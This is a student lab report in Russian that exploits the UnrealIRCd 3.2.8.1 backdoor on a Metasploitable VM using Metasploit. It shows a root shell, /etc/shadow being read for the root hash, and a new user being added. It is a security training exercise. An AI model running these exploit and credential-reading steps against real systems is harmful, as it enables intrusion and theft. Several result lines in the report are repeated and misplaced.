ХАКИМУЛЛИН РУСТЕМ 11-901. ЛАБОРАТОРНАЯ РАБОТА №6. ИСПОЛЬЗОВАНИЕ БЕКДОРА ПРОТОКОЛА UNREALIRCD 3.2.8.1.

Содержание:

1. Развернуть виртуальные машины Kali Linux и Metasploitable, подготовленные в рамках выполнения предыдущих лабораторных работ.
2. Убедиться в корректной настройке сети между Metasploitable и Kali Linux
3. Атака на Metasploitable
4. Активация эксплоита для использования уязвимости UnrealIRCD.
5. Оформление результатов
   **

1) Развернуть виртуальные машины Kali Linux и Metasploitable, подготовленные в рамках выполнения предыдущих лабораторных работ.

Цель: Развернуть машины для работы

Начальная ситуация: Машины остановлены

Алгоритм:

1.1 Открываем машины

Результат: машины развернуты
2) Убедиться в корректной настройке сети между Metasploitable и Kali Linux
Цель: Убедиться, что сеть настроена
Алгоритм:

2.1 Узнаем и пингуем IP адреса друг друга

Результат: получены ip адреса, убеждаемся, что связь есть

3) Атака на Metasploitable

Цель: обнаружить слабые места машины Metasploitable

Начальная ситуация: уязвимостей не обнаружено

Алгоритм:

3.1 Сканирование портов Metasploitable

Конечное состояние: получены ip адреса, убеждаемся, что связь есть

4) Активация эксплоита для использования уязвимости UnrealIRCD.

Цель: атаковать машину-жертву и убедиться в успешности атаки

Начальная ситуация: уязвимостей не обнаружено

Результат: получены ip адреса, убеждаемся, что связь есть

4) Активация эксплоита для использования уязвимости UnrealIRCD.

Цель: атаковать машину-жертву и убедиться в успешности атаки

Результат: уязвимостей не обнаружено

Алгоритм:

4.1 Запустить в терминале атакующей машины запустить консоль msfconsole;

4.2 search unreal;

4.3 Запустить эксплоит с помощью команды use exploit/unix/irc/unreal_ircd_3281_backdoor;

4.4 Вывести список доступных опций для эксплоита с помощью команды show options;

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > use exploit/unix/irc/unreal_ircd_3281_backdoo
r
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  192.168.1.15     yes       The target host(s), see https://github.com/rapid7/metasp
                                      loit-framework/wiki/Using-Metasploit
   RPORT   6667             yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target
```

Результат: получены ip адреса, убеждаемся, что связь есть

**

4.5 Установить значения параметров следующим образом: RHOST MS_IP;

4.6 Активировать эксплоит командой exploit;

4.7 Убедиться в успешности атаки

**

Конечное состояние: атака успешна.

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] 192.168.1.15:6667 - Connected to 192.168.1.15:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP addre
ss instead
[*] 192.168.1.15:6667 - Sending backdoor command...
[*] Started bind TCP handler against 192.168.1.15:4444
[*] Command shell session 1 opened (192.168.1.16:34661 → 192.168.1.15:4444 ) at 2022-06-05 13:1
2:52 -0400

hostname
metasploitable
whoami
root
grep root /etc/shadow
root:$1$ocggczP7$GwpfjWhEUqVKP3k/Q6cVD0:19148:0:99999:7:::
```

5) Оформление результатов

```
whoami
root
useradd -m -d /home/rustem -c "Hacked Unreal" -s /bin/bash rustem
grep rustem /etc/passwd
rustem:x:1005:1005:Hacked Unreal:/home/rustem:/bin/bash
date
Sun Jun  5 15:17:11 EDT 2022
echo "Khakimullin Rustem"
Khakimullin Rustem
```